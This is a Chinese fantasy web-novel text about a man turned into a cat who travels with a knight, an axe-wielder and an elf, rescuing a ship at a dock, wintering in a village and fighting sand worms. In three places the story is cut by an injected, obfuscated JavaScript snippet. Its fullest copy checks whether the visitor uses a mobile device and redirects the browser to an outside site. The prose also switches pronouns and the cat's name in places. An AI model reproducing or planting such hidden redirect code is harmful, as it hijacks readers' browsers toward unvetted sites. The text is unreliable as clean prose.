西拉斯蹲在旁边的木墩上修渔网,黑发红眼在晨光里亮得扎眼,这时突然伸手扯了扯奎兰的斗篷下摆,力道不轻不重:“别理他,上回他队里那牧师掉冰缝里,脸都冻青了,还是你拽着藤蔓下去拉的人,手都冻红了还说‘没事’。” 他手里的渔针“咔”地别进网眼,力道重得差点戳破渔网,“忘恩负义的家伙,脑子被海风吹傻了。” 奎兰没说话,只是把藤筐往怀里又拢了拢,指腹蹭过小孩冻得发红的脸颊,指尖泛着点淡绿——是悄悄渡了点暖融融的草木魔力过去,像给小孩裹了层薄绒。 小孩的睫毛颤了颤,小声说:“哥哥,他好凶,比森林里的暴风还凶。”奎兰的指尖顿了顿,轻轻“嗯”了声,声音软得像雾:“不凶的,风大,他说话才响,就像海鸟叫得响,不是要啄人。” 变故是午后爬上岸的。 刚才还晒得人暖烘烘的太阳,突然被乌云吞了半截,海面上的云堆得像要塌下来,黑沉沉的,风卷着浪往码头拍,木栈道都在“咯吱咯吱”晃,像要散架。 方绪白先觉出不对——后颈的毛根突然一阵发麻,像有针在扎似的,这是它自带的危险感知在尖叫,比在写字楼里听见老板喊“加班”还让人慌。 它刚弓起身子想往罗文的肩膀跳,还没来得及发出预警的“喵呜”声,就听见“啪”的一声脆响,像骨头断了似的——金盾队的船缆断了! 那艘木船在浪里打晃,船身歪得快成四十五度,眼看就要撞向码头外的礁石群,礁石尖白得像獠牙。 法师在甲板上喊得嗓子都劈了,手里举着魔杖想放火球术,可风太急,火星刚聚起来就被吹得七零八落,连他的灰袍都被风掀得盖住了头,活像个裹在布里的稻草人。 方绪白只听见罗文低喝一声“抓稳”,下一秒就被一只手揣进了怀里——是罗文的铠甲内侧,暖烘烘的,还带着点皮革味和剑鞘的铁味,比写字楼的空调风舒服百倍。 罗文踩着晃悠的栈道往水边冲,靴底碾过湿滑的木板,“噔噔”响,每一步都踩得稳实。 西拉斯比罗文还快。 他拎着斧头“哐当”一声跳上旁边的小划艇,斧头往船板上一剁,震得船板都颤,木屑溅了她一脸也没顾上擦:“奎兰!用藤蔓!往桅杆缠!缠紧点,别让浪把船掀了!” 奎兰站在码头边,浅金发被风吹得乱飘,像团散了的光,却没乱。 他没应声,指尖往礁石缝里一探,青绿色的藤蔓“唰”地窜出来,快得像箭,卷着草木气往木船的桅杆缠——缠得真准,正好绕了三圈,结扣是他最熟的“松鼠结”,牢得很。可浪太急,木船被浪一推,藤蔓被扯得“咯吱”响,绿莹莹的藤身都绷出了白印,眼看就要断。 “我上去!”罗文踩着划艇边缘一跃,靴子落在金盾队的甲板上,“咚”地一声,震得甲板都颤,他刚站稳就伸手扶住了晃得快倒的舵手,声音沉得像锚:“西拉斯!把缆绳递过来!” 西拉斯在划艇上吼:“缆绳断了!刚断的!被浪拍断的!”话音刚落,就见一道黑影“嗖”地从罗文怀里窜出来——是方绪白。它把自己缩成个毛球,借着风势往木船甲板跳,爪子扒住船舷时滑了下,差点摔进海里,还好船舷上有块凸起的木刺,他死死扒住了,爪子都抠得发白。刚稳住身子,就看见断了的缆绳头躺在船尾的甲板上,离船舷只有半步——再晃一下就得掉海里,那可就真没救了。 没时间琢磨“猫叼缆绳合不合常理”这种社畜式问题了。 方绪白叼起缆绳头就往船尾冲,爪子在湿滑的甲板上打滑,好几次差点劈叉——换以前他肯定得慌,但这阵子跟着小队跑东跑西,早就练出点平衡感了,比在写字楼里踩垫高鞋垫赶地铁还稳。 西拉斯正撑着划艇往船尾靠,红眼睛在浪里亮得很,像两簇小火焰,看见方绪白叼着缆绳冲过来,赶紧伸手:“扔过来!快!我接着!” 方绪白一甩头把缆绳头丢进他手里,自己却没收住力,“咚”地撞在船舷上,脑袋都懵了。 还没来得及晃脑袋,手腕粗的胳膊就捞住了它——是罗文。 他把它按在舵旁边的木箱上,掌心按着它的背,力道不轻不重,带着安抚:“别乱跑!待在这,乖。” 方绪白扒着木箱边往下看,看见西拉斯把缆绳在划艇的木桩上绕了三圈,又拿斧头往缆绳和木桩之间楔了块木片固定,动作快得像早就练过百八十遍,连他最宝贝的斧头磕在木桩上都没心疼。 风吼得像山里的野兽,浪拍在甲板上,溅得人满脸都是咸水,涩得眼睛疼。 罗文在甲板上帮着舀水,他脱了铠甲,亚麻衬衫被浪打湿了,贴在背上,能看见肩胛骨的形状,线条绷得紧。他手里的木瓢“哗哗”往船外舀水,后背湿了一大片也没顾上,只是每隔片刻就往方绪白这边瞥一眼,确认它还蹲在木箱上,没被浪卷走。 西拉斯跳上木船后就没闲着,斧头挥得“呼呼”响,把甲板上晃悠的断木全砍了,又拿绳子把松动的木桶捆牢——他总说“活着最要紧”,却总在这种时候往前冲,比谁都勇。 奎兰还站在码头边没动,浅金发被风吹得贴在脸颊上,额角渗着汗,顺着下颌线往下掉,滴在石板上,晕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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奎兰擦帕子的手停了停,没抬头,只是从怀里摸出个东西——是块巴掌大的护符,淡绿色的,上面刻着驱潮的纹路,边缘磨得有点圆,是用老橡树的芯雕的。 这护符方绪白熟,奎兰总把它贴身放着,上次洗斗篷时忘了拿出来,掉在水里还发光呢,暖融融的,能烘干湿衣服。 它记得护符的颜色,和奎兰那本旧魔法书的封面一模一样——那本书封面绣着精灵族的森林徽记,是当年长老塞给奎兰的,书里还夹着虞美人干花。 奎兰捏着护符往码头边递了递,没说话,只是指尖轻轻碰了碰护符,护符泛着点淡绿的光,像颗小太阳。 风把护符上的草木气吹得老远,方绪白都闻见了,清清爽爽的,像森林里的晨雾。 法师愣了愣,抬头看奎兰时,眼圈先红了。他伸手接护符的动作有点抖,指尖碰到护符时,突然“吸”了下鼻子,别过脸去用袖子抹了把脸,没敢再看奎兰,只是把护符紧紧攥在手里,指腹蹭着上面的纹路,像在摸块稀世珍宝。 后来西拉斯蹲在船尾接缆绳,黑发红眼在夕阳下亮得暖,他把之前刻在盾上的“罗”“奎”和猫爪印,又用铁钎在船舷补了个“护”字,火星溅在船板上,像把秋的故事钉进木头里,烙下印子。 罗文帮着把金盾队湿了的货物往船舱里搬,亚麻衬衫还没干,贴在背上,却没喊累,只是搬完后往方绪白这边走,伸手摸了摸它的头:“刚才跑得挺快,比上次追兔子时还快,没白练。” 方绪白趴在罗文的胳膊上,看奎兰蹲在水边洗手,小孩凑过去,用软乎乎的手摸他的金发,小声说:“哥哥,刚才藤蔓好厉害,像有脑子似的,知道往桅杆上缠。”奎兰笑了笑,浅金的睫毛在眼下投了点影,软乎乎的:“是森林在帮我们呢,也在帮那位哥哥。” 方绪白打了个哈欠,把脸往罗文怀里又拱了拱,让秋的魔法余韵,慢慢渗进冬的故事里,带着海的咸,藤的绿,还有这群人掌心的温。 10. 花丘村 冬 雪是裹着后半夜的霜气来的,带着点秋章码头的咸涩味,落在花丘村的草顶屋上,没半会儿就把屋顶压成了圆滚滚的模样,像村妇蒸的白面馒头。 檐角垂着的冰棱子在月光下泛着冷光,却比北境的雪软和——北境的雪是能割破油皮的,上月在冰原追冰原狼时,方绪白还没摸清猫爪的收放法子,慌里慌张往罗文怀里躲,爪子一勾就把罗文的斗篷勾出个破洞。那会儿罗文蹲下来替它擦脸,指腹蹭过它冻得发僵的耳朵尖,声音温温的:“猫爪得蜷着用,不然下次勾破的就是我的衬衫了。”它还闹别扭似的甩了甩尾巴,把雪沫子扫了罗文一脸。 这会儿方绪白缩在罗文斗篷里,鼻尖蹭着他胸口的羊皮护心镜。 这镜子是从冰原狼窝里拾的,狼窝里的寒气重,罗文用治愈魔法烘了三夜才去尽,现在贴着皮肉温温的,混着皮革和他身上的草药香——罗文总在行囊里塞晒干的薄荷和艾草,说是“防蚊虫还安神”,可方绪白瞧着,倒像是怕谁夜里着凉,特意备着暖身子似的。 方绪白前爪搭在罗文的铜扣腰带上,尾巴圈着肉垫打盹,后颈的毛忽然被轻轻扫了下,不是罗文的手,罗文正捏着块软布擦剑,布擦过剑刃的声儿细得像春蚕啃叶,连火盆里的火星都没惊起来。 迷迷糊糊掀了眼皮,就见西拉斯蹲在火盆边,手里捏着根细柴,柴尖沾着灰,正往它毛上凑,像在逗弄刚睡醒的小奶猫。 别闹。 方绪白心里直犯嘀咕,嗓子里却滚出“喵呜”一声,软乎乎还带颤音——刚变成猫那会儿哪是这样? 被召唤来的头几天,它还像端着勇者的架子,想指挥罗文去拾柴、西拉斯去劈木,张嘴却成了“喵嗷——”,惊得林子里的麻雀扑棱棱飞了半棵树;后来想叉腰叹气,爪子一扬倒把自己脸颊挠出三道红印,还是罗文蹲在它面前,指尖点着它的耳朵尖笑:“猫有猫的法子喊人,不用学人的模样。”它才慢慢学会,短促的“喵”是“有危险”,拖长音的“喵~”是“饿了要吃的”,炸毛哈气就是“西拉斯又拿我猫窝练打铁了”。 “醒了?”西拉斯把细柴丢进火盆,火星子“噼啪”跳起来,他黑发红眼在火光里亮得很,像浸了蜜的野果,甜滋滋的暖。 “村口二小和三丫堆雪人,把你那铜丝窝当雪人头了。”他边说边往方绪白这边挪了挪,“我抢回来时还沾着俩煤球眼,拿雪擦了擦,放你那羊毛垫上了,没冻着你的小窝。” 方绪白甩了甩尾巴尖,心里却软了半截。那猫窝是西拉斯用锻造剩的软铜丝编的,刚编好时硬邦邦的,西拉斯拿砂纸磨了三天,指腹磨出了小茧子,又裹了层奎兰织的羊毛垫。 奎兰织垫时总走神,针脚歪歪扭扭的,却特意留了个小豁口——他记得方绪白睡觉爱把尾巴露在外头,怕尾巴被闷着。 方绪文正想跳下罗文的腿去瞧猫窝,门帘“哗啦”被掀开,冷风裹着雪沫子灌进来,俩小孩举着雪球冲进来,脸蛋冻得通红,像揣了俩刚从灶膛里摸出来的小苹果。 “罗文哥哥!奎兰哥哥!看我们堆的雪人!”二小把雪球往地上一放,雪沫子沾了满地,连火盆边的灰都被溅起一层。方绪白被冻得打哆嗦,往罗文怀里缩了缩,这才看见站在门口的奎兰。 奎兰刚从溪边回来,浅金发上落着层薄雪,被屋里的热气一烘,水珠顺着发梢往下滴,滴在新斗篷的领口上。那斗篷绿得正好,是春末嫩柳刚抽芽的颜色,不是他以前总穿的深褐旧斗篷——旧斗篷补丁摞补丁,他总说“耐脏,适合跑远路”,可方绪白见过他夜里对着本卷了边的《森林织物图谱》发愣,图谱上精灵少年穿的斗篷,就是这种透亮的绿。袖口缝着银线常春藤,缠缠绕绕的,炉火一晃,银线闪得像撒了把碎星子,晃得人眼晕。 “半精灵姐姐送的。”奎兰被小孩盯着看,耳尖红了半片,手指下意识捏着斗篷下摆,像怕被人看出心思。 半精灵是三天前路过的商人,那天奎兰蹲在溪边帮老妇人补被冰碴划破的渔网,手指被冻得发红也没停,连指尖的草木魔力都渡给了渔网,让网绳更坚韧些。半精灵临走时就塞给了他这个,“她说……”奎兰的声音比平时低了些,蓝眼睛垂着看自己的鞋尖,鞋尖沾着雪,“绿配银线好看,配我的头发……也好看。” 西拉斯“噗嗤”笑出声,举着盾站起来,盾底砸在地上“哐当”响,震得地上的雪沫子都跳:“可不是嘛!比你那件能藏三只老鼠的旧斗篷强一百倍!”他把盾往方绪白面前递了递——盾边镶了圈新铜片,亮闪闪的,是防腐蚀的那种。 上个月在沼泽地,毒沼蚀得盾面坑坑洼洼,西拉斯抱着盾蹲在泥里骂了半天沼泽怪,骂到最后眼圈都红了,夜里还拿羊毛布蘸着清水一点点擦,擦到后半夜才肯睡。 “看!”西拉斯用指节敲了敲铜片,红眼睛亮得像燃着小火苗,“我刻的!”方绪白扒着盾边往上瞧——铜片上刻着“罗”和“奎”,笔画方方正正,是西拉斯拿铁钎子一点点凿的,旁边还刻着个歪歪扭扭的猫爪印,爪尖纹路都抠得清清楚楚,边缘还留着没磨掉的毛刺,透着股笨拙的认真。 “昨天修盾时顺手刻的。”西拉斯摸着猫爪印,挠了挠后脑勺,耳朵尖有点红。 “本来想刻‘西’的,刻到一半想起你——”她用下巴点了点方绪白,“上次打暗影狼,你蹲我盾上,还帮我咬掉了爬上来的小狼崽,牙印现在还在盾边上呢。也算半个盾主了。以后这盾就护着咱们仨……哦还有猫。” 方绪白用脑袋蹭了蹭她的手背,毛茸茸的毛扫过他的指腹。刚组队那会儿,西拉斯总拿斧头指着它说“猫能打怪还是能挖矿,让薇薇安回去”。 直到上个月在食人花山洞,它后颈的毛突然炸开——这是它危险感知的老毛病,急得往西拉斯脚边扑,爪子扒着他的靴子往旁边拽,才没让他踩进花藤陷阱。 从那以后,西拉斯每次烤肉干,都会先掰一小块递到它嘴边,还嘴硬地说“看在你还算机灵的份上,送你的”,可方绪白分明看见,他把最嫩的那块留给了自己。 “刻得很好。”罗文的声音从桌边传来。他还坐在那儿擦剑,剑鞘上原来的骑士团鹰徽不见了——那铁徽记他以前总擦得锃亮,哪怕离开骑士团那天,也是把它揣在怀里带出来的,像揣着段没说完的过往。 现在剑鞘上钉着块小木片,上面是个“护”字,是二小他们用玫瑰瓣、向日葵瓣拼的,被树脂封得亮亮的,连花瓣上的纹路都看得清,透着点孩子气的暖。 “拆旧纹章时,”罗文的指尖轻轻拂过木片,动作柔得像怕碰碎了花瓣,“村长老说,旧的留着就行,记在心里比别在剑上实在。”他顿了顿,绿眼睛里映着炉火,亮得像盛了星光,“新的……摸着暖。” 方绪白知道那暖是什么——上周骑士团来人征兵,看见旧纹章就想拉罗文走,说“骑士团才是你该待的地方”。是二小他们围着骑士团的人喊“罗文哥哥是保护我们的,才不跟你们走”,把刚拼好的花瓣字往罗文手里塞。那会儿罗文站在小孩中间,平时总抿着的嘴角,悄悄弯了个小弧度,还把二小冻得发红的手揣进自己怀里暖着,像揣着块珍宝。 夜里围炉时最安生。雪还在下,落屋顶上沙沙响,像谁在轻轻翻书。 西拉斯靠着奎兰的肩膀打盹,手里攥着块麦饼——是下午帮村妇劈柴换的,他总说“麦饼配蜂蜜才好吃”,却把陶罐里剩的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现在腿上暖,身边有人,西拉斯的呼噜声和奎兰翻书页的声儿混在一起,连窗外的雪声都软乎乎的,像在唱摇篮曲。 罗文低头看它,绿眼睛里的笑意温温的,像炉火一样,暖得能化雪。他指尖捏了捏它的耳朵后:“困了?”方绪白“喵”了一声,把脸埋进他的掌心——困了,有你们在,睡得安稳,比在写字楼里趴在桌上补觉踏实百倍。 迷迷糊糊闭眼时,它听见罗文轻声对奎兰说:“明天雪停了,去看看村西头的冰窟吧?上周听老猎人说,里面好像有被冻住的魔法草,能做防冻的药剂,以后去北境就不怕冷了。”奎兰“嗯”了一声,声音轻轻的:“我带藤蔓卷轴,要是冰塌了能护着大家。对了,把方绪白的猫窝也带上?冰窟里冷,别冻着它。” 西拉斯迷迷糊糊接了句:“我带斧头!凿冰我最拿手!……对了罗文,明天烤肉干记得多烤两块,给方绪白也留着,它上次跟我抢肉干还没抢赢呢。” 方绪白的尾巴尖又晃了晃——明天可得早起,先在西拉斯的盾上印个清楚的爪印,要比刻的那个还好看,让西拉斯知道,它这个“半个盾主”可不是白当的。 盾边新镶的铜片泛着光,常春藤银线的魔法余韵,正顺着奎兰的指尖、西拉斯的铁钎、罗文的剑鞘,往春的故事里渗,带着雪的软,火的暖,还有这群人掌心的温度。 夜里围炉时,奎兰往火盆添松柴,指尖偶尔碰一碰袖口的银线常春藤,蓝眼睛里的火光跳啊跳——这藤纹里缠着的,何止是森林魔法?码头救援的咸涩海风、花丘村小孩的雪球温度、金盾队护符的和解余温,都成了魔法的养分,让藤蔓长得更坚韧,更温暖。罗文把方绪白放在腿上梳毛,绿眼睛映着炉火,像把冬的温暖都存进了春的远征,等着来年化开在新的土地上。 11. 石漠村 石漠村的风裹着沙粒打在盾上时,像无数细针扎着铁皮,“沙沙”响得人心烦——像上次老周在铁匠铺拆木箱子,稻草绳磨着木板的糙声,钻得人耳朵缝都发疼。 西拉斯抱着裂成三道缝的铁盾蹲在土堆上哭,肩膀一抽一抽的,活像上次搬陶窑的大瓦罐砸了脚,蹲在村口杂货铺门槛上掉眼泪的模样,连鼻涕都蹭在盾沿那片灰绿色黏液上,混着沙虫的腥气,黏糊糊的。 那黏液泛着腻人的灰绿色,像没洗干净的矿脉石粉,上次他给马车上绿漆,蹭在粗布衫上的印子,用皂角搓了半天才淡下去,如今这盾沿的印子,怕是搓破手都洗不掉。更让他心疼的是盾心——本该嵌着块菱形魔晶的地方,只剩个空落落的凹槽,风灌进去“呜呜”响,像村头那台漏风的老风箱,扯着嗓子喘气。 那魔晶是他爹留的老物件,磨得边缘都泛了柔光,昨天还攥在手里跟方绪白显摆:“这可是能让盾硬得砸不开的宝贝,比镇上铁匠铺打的铁门还结实!” “哭啥。”方绪白的尾巴扫过西拉斯的手背,软乎乎的猫毛蹭着他糙得像砂纸的手,像用那块旧棉巾擦他沾了漆的手背,棉巾上还带着晒谷场的麦秆味,暖烘烘的。 猫爪扒着盾沿往里瞅,琥珀色瞳孔在沙光里亮得很,像灶台上挂着的那盏油灯,连灯芯旁飘着的柴灰都照得分明。 刚才村民喊“西头那家塌了半截屋”时,他耳朵都没动一下,可听见西拉斯抽噎着说“那魔晶能换三车麦饼,够我吃半个月,还能带两袋”,耳朵“唰”地竖起来,尾巴尖的绒毛都绷直了,活像突然听见杂货铺喊“新烤的麦饼出炉了”,比谁都机灵。 罗文正蹲在塌房边念治愈咒,绿光漫过那遭了难的那户人家被埋的腿,像泡的野菊花茶,泛着温软的光,杯底还沉着两颗晒干的野枣,甜丝丝的。 他余光瞥见三花猫突然趴在地上,前爪飞快扒沙子,猫毛沾了土也顾不上,像蹭了陶窑炭灰的粗布衫,越蹭越脏——上次西拉斯搬瓦罐蹭的炭灰,用井水淘了三次都没洗掉,如今这猫毛上的土,怕是要让棉巾再添道印子。 沙粒顺着猫爪往下漏,竟在土堆上扒出个小坑,坑底隐约露着块青石板的边,正是压着脚踝的那块,边缘还沾着点碎麦秆,像上次送的麦饼渣——西拉斯抢了半块,渣子掉在灶台上,被方绪白扫进了柴火堆,如今这碎麦秆,倒成了救急的记号。 “别扒了,会塌。”罗文伸手想把猫捞过来,指尖刚碰到方绪白的后颈,就觉猫毛突然绷紧,像碰了针线篮里没剪头的棉线,尖得扎手。 下一秒,猫突然抬头往西北方向瞅,琥珀色瞳孔缩成了细缝,尾巴尖绷得直溜溜的。 西拉斯还在哭,奎兰蹲在旁边递粗布帕子,精灵的浅金发被风吹得乱晃,像后山松树上挂着的棉絮,软乎乎的。 他小声劝:“或许能找回来,比找丢失的柴刀容易,上次你丢的柴刀,不也帮你在草垛里找着了?” 话音刚落,地面突然“轰隆”震了一下,像谷仓里的粮囤突然倒了,吓得人心脏都跳快了半拍,连灶台上的陶碗都晃了晃。 沙虫钻洞的闷响从地底传上来,像陶窑里的柴火没烧透,闷得烟囱都发颤,连灶台上的铁锅都跟着抖。 西拉斯吓得一蹦三尺高,哭腔都变了调:“在这儿!它在这儿!”铁盾被他扔在地上,裂缝里沾着的沙粒撒了一地,像摔在地上的陶碗,碎渣溅得到处都是。 方绪白却没动,扒沙子的爪子停在青石板旁,转头往罗文怀里蹭了蹭,尾巴尖勾着他的手腕往王婆那边送——像以前在灶房,它勾着林婶的手腕,指给她看藏在面缸里的烤红薯,油纸包着还冒热气,生怕被老周抢了去。 罗文的治愈咒刚把石板浮起半寸,沙地里突然窜出条灰绿色的影子,口器张得老大,尖牙上沾着的碎魔晶渣,像咬碎了的冰糖块——上次老周给它的那颗冰糖,甜得它舔了半天爪子。 “我的魔晶!”西拉斯举着斧头就冲,却被奎兰拽住了胳膊。 精灵脸发白,蓝眼睛盯着沙虫身后的沙坑,像看见晒谷场上被麻雀啄出的洞,触目惊心:“有、有幼虫……比上次后山遇到的毛毛虫还多,上次你还被毛毛虫吓得跳上柴垛!” 果然,大沙虫身后跟着三条小沙虫,细腿扒着沙子往塌房爬,速度倒不慢,像谷仓里乱窜的耗子,让人心里发毛——方绪白上次还追着耗子跑了半间灶房,把米缸都撞翻了。 方绪白突然从罗文怀里跳出去,猫爪在沙地上蹬得飞快,像抱着刚烤好的红薯往屋里跑,生怕抢了去,连鞋底踩地的声音都没他急。 他没扑大沙虫,反而直往小沙虫冲,尾巴扫得沙粒乱飞,像用小扫帚扫灶台下的柴灰,故意蹭了蹭别人的鞋,尾巴尖还勾了勾灰渣,调皮得很。 方绪白硬生生把幼虫堵在沙坑边,像把乱窜的耗子堵在墙角,连个逃跑的缝都不留。 罗文的圣光紧接着裹住小沙虫,金芒烧得虫子“滋滋”响,像把开水倒在冰上,“嘶”的一声就化了。 他转头喊西拉斯:“盾!用盾砸它头!像砸陶窑里结了块的陶土!”西拉斯这才反应过来,抓起裂盾往大沙虫头上砸——虽说是裂了的盾,力道倒不小,砸得沙虫吃痛缩了缩脖子,口器里掉出块亮晶晶的东西,像掉在地上的玻璃珠,上次赶庙会,西拉斯还赢了三颗这样的珠子。 是那块魔晶! 边角磕掉了点,却还亮闪闪的,像被摔了一下的瓷碗,没碎却缺了块边——上次西拉斯摔了瓷碗,心疼了好几天,如今这魔晶的缺角,比摔了瓷碗还让他揪心。 他眼疾手快捡起来揣进怀里,刚要咧嘴笑,就见方绪白蹲在沙堆上甩毛,土沫子溅了罗文一身,像上次他把面撒在发面上,佐伊气得瞪了他一眼,却还是帮他扫干净了。 罗文用粗布帕子擦着猫耳朵,绿眼睛里带着点无奈的笑,像看它蹭了炭灰的爪子,嘴上骂着“小迷糊”,手却没停:“这下好了?找到魔晶,还救了人,该给你挂块麦饼当奖励。” 方绪白蹭了蹭他的手,喉咙里呼噜呼噜响,像在灶房打盹时的轻鼾,连呼吸都带着麦饼味。 可他尾巴尖突然又竖了起来——西边沙地里传来闷沉的挖洞声,比刚才还近,像有人在院外用锄头挖冻土,震得窗棂都发颤。 奎兰突然拽了拽罗文的披风,小声说:“听……沙棘草在抖,像被风吹得晃的狗尾巴草,上次你栽的那丛,被山风吹得直晃。” 奎兰指尖凝着点木魔法,浅金色的发垂在额前,像遮了块薄纱,蓝眼睛盯着沙面:“好像不止一只,比上次藏在谷仓里的耗子还多,上次那只耗子,还咬坏了草席。” 西拉斯把魔晶往盾缝里塞,塞不进去也硬塞,像把棉线往陶碗缝里塞,越塞越紧。他把斧头往肩上一扛:“怕啥!有猫大人呢!上次毒蛙王都搞定了,还怕这几条虫子!下次后山蜥蜴怪,也带着猫大人去!” 方绪白没理他,用爪子扒拉西拉斯揣魔晶的口袋,琥珀色眼睛直勾勾的,像盯着藏在面缸里的麦饼——每次麦饼都藏在最里面,却总被他找着。 西拉斯愣了愣,从怀里摸出块魔晶碎渣递过去:“给?这可换不了麦饼,连半块都换不到,上次半块麦饼,我还抢了半天。” 方绪白却没接,转头往塌房那边瞅。 那户受伤的人家已经被扶到草席上,正颤巍巍地给奎兰递陶碗,粗陶碗碰着精灵的手,“当”地响了声,像杂货铺卖的土陶碗,摔了好几次都没坏。 奎兰红着脸接过来,手还在抖,像上次被村长夸劈柴劈得好时的模样,耳朵尖都红了。 方绪白突然往那边跑,路过沙虫尸体时还踩了一脚,把爪上的黏液蹭掉了,像蹭掉鞋底的泥——上次在泥地里踩了一脚,用湿棉巾擦了半天,才把泥印子擦掉。 罗文跟在后面笑,圣光把地上的沙烫得泛白,像灶台上烧了一下午的铁锅,手放上去暖乎乎的:“别急,暖沙堆还没找呢,你不是最爱蹲暖乎乎的地方,上次午休,还抢了我的柴火堆。” 方绪白停住脚回头看他,尾巴尖扫过西拉斯的盾,把沾着的魔晶渣扫进矮人手里。西拉斯赶紧接住,红眼睛亮得很,像突然收到村长给的麦种,倒比刚才哭的时候精神多了,连嘴角都翘了起来。 风又裹着沙粒吹过来,这次却没那么扎人,裹着点麦饼的香,从远方飘过来,沾在方绪白的耳尖上,暖乎乎的,像递来的热米汤,碗沿还沾着点米粒,甜得人心里发颤。 方绪白刚跑到草席边,就见那户遭难人家的老人颤巍巍地摸向怀里,掏出块用布包着的东西——布角都磨得起了毛,像用了三年的纳鞋底粗布,针脚都快磨平了。 “猫……猫大人,”老人声音发哑,却把布包往猫爪边递,“这麦饼,给你垫垫肚子,比西头做的甜,是用新收的冬麦烤的,香得很。” 布包一打开,麦饼香混着沙粒的腥气飘过来,方绪白鼻子动了动,却没立刻叼,反而用尾巴勾着布包往奎兰那边推。 精灵还攥着水囊发愣,浅金发上沾的沙粒被风吹得晃,像晒谷场边落了灰的狗尾巴草,蔫乎乎的。 “它让你吃呢。” 罗文走过来,圣光扫过草席边的沙,烫出片暖烘烘的印子,像灶膛边晒热的旧棉垫,裹着柴火的温度。 奎兰红着脸接了麦饼,掰了小块递到方绪白嘴边:“你也吃,这是攒了三天的,舍不得给村里孩子分呢。” 方绪白却转头往西边瞅,琥珀色眼睛盯着沙棘草抖得最厉害的地方——沙面突然鼓了个包,像藏在谷仓里的麦种袋被耗子顶得晃,紧接着“轰隆”一声,沙地里窜出两条沙虫,比刚才那只还粗,口器里的尖牙沾着沙,像没擦干净的陶窑粗陶碗,糊着层泥。 “好家伙!还来俩!”西拉斯举着斧头就冲,裂盾挂在腰间,魔晶在凹槽里晃得响,像揣了袋赶庙会赢的玻璃珠,叮当作响。 方绪白却没扑,反而往王婆身后躲,尾巴勾着老人的衣角往暖沙区拉——罗文的圣光还在沙上留着温度,像刚从灶膛里掏出来的热炭灰,暖得能焐热冻僵的手。 “先护着村里人!”罗文的绿光裹住老人,转头喊奎兰,“用藤蔓缠它们的腿!像捆柴那样缠紧用力!” 奎兰立刻捏着草茎往沙虫方向伸,木魔法催得沙棘草疯长,像后山没人管的野葛藤,顺着沙虫的腿往上爬,草叶上的绒毛蹭得虫子直扭身子,像被麦芒扎了的驴,焦躁得乱踢。 西拉斯的斧头往沙虫头上劈,却被虫尾扫中了腰,“哎哟”一声摔在沙上,裂盾“哐当”掉在地上,魔晶从凹槽里滚出来,在沙上弹了两下。 方绪白眼疾手快,冲过去用爪子按住魔晶,像按住滚到灶台下的陶制弹珠,生怕它再滚进沙缝里找不着。 可那沙虫突然转头喷毒液,灰绿色的黏液直往猫身上泼,罗文的圣光及时挡在前面,毒液落在光罩上“滋滋”响,像把矿粉倒在热铁锅上,冒起股呛人的烟。 “薇薇安!接住!”西拉斯爬起来,把斧头往方绪白那边扔,猫却没接,反而用尾巴把魔晶扫给奎兰,又叼着斧头往沙虫腿边跑——沙棘草刚缠住虫腿,它就用斧头柄往虫关节处砸,像用木槌砸陶窑里结了块的陶土,“咔嗒”一声,沙虫的腿竟被砸弯了。 奎兰趁机把藤蔓收得更紧:“缠紧点!像扎麦捆的草绳!”草茎勒得沙虫直叫,口器里的沙粒喷得漫天都是,像拆麦秆捆时撒的碎麦壳,落了西拉斯一头一脸。 罗文的圣光突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290275|182655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聚成光剑,往沙虫的口器里刺——“嘶!”虫子疼得直打滚,压垮了旁边的沙堆,碎石溅在西拉斯的粗布衫上,像被村长扔了团晒干的茅草,痒得他直躲。 方绪白跳起来,爪子扒着沙虫的背,往它眼睛上挠,像挠谷仓里结了网的蛛丝,猫爪上沾的沙粒都嵌进了虫眼里。 另一只沙虫想偷袭,却被奎兰的藤蔓缠住了脖子,草茎越勒越紧,虫子的叫声越来越小,最后瘫在沙上,只有腿还在轻轻抖,像没上油的木轮车轴,转不动了。 西拉斯爬起来捡魔晶,却见方绪白蹲在沙虫尸体上甩毛,土沫子溅了他一脸:“薇薇安!爱捣乱!上次还把他的麦种扒得满地都是!”他刚要说,却看见猫爪下藏着块亮晶晶的东西——是另一块魔晶,比他爹的小些,却更亮,像灶台上挂着的小铜铃,闪着光。 “还有一块?”西拉斯赶紧捡起来,揣进另一个口袋,笑得嘴都合不拢,“这能换五车麦饼!够两个人吃一个月,还能带两袋!”奎兰扶着老人站起来,草席上还沾着沙,像灶台下没扫干净的柴灰,黑乎乎的。 老人摸了摸方绪白的头:“猫大人是福星哟,上次我家鸡丢了,也是它在后山草垛里找回来的,还叼着根鸡毛当记号呢。” 猫蹭了蹭老人的手,尾巴尖扫过她沾了沙的袖口,像擦了擦旧棉袄上的灰,软乎乎的。 罗文把裂盾捡起来,用圣光补了补裂缝:“虽说是裂了,倒还能用,像你上次摔了的陶水壶,用陶泥补补还能盛水。” 西拉斯赶紧接过来,把两块魔晶都往凹槽里塞,小的那块嵌不紧,却也晃得好看:“以后这盾,就是‘双晶盾’!比镇上铁匠铺打的铁门还结实!” 风裹着麦饼的香吹过来,这次没带沙粒,像烤红薯时掀开的灶门,暖香飘得满院都是。 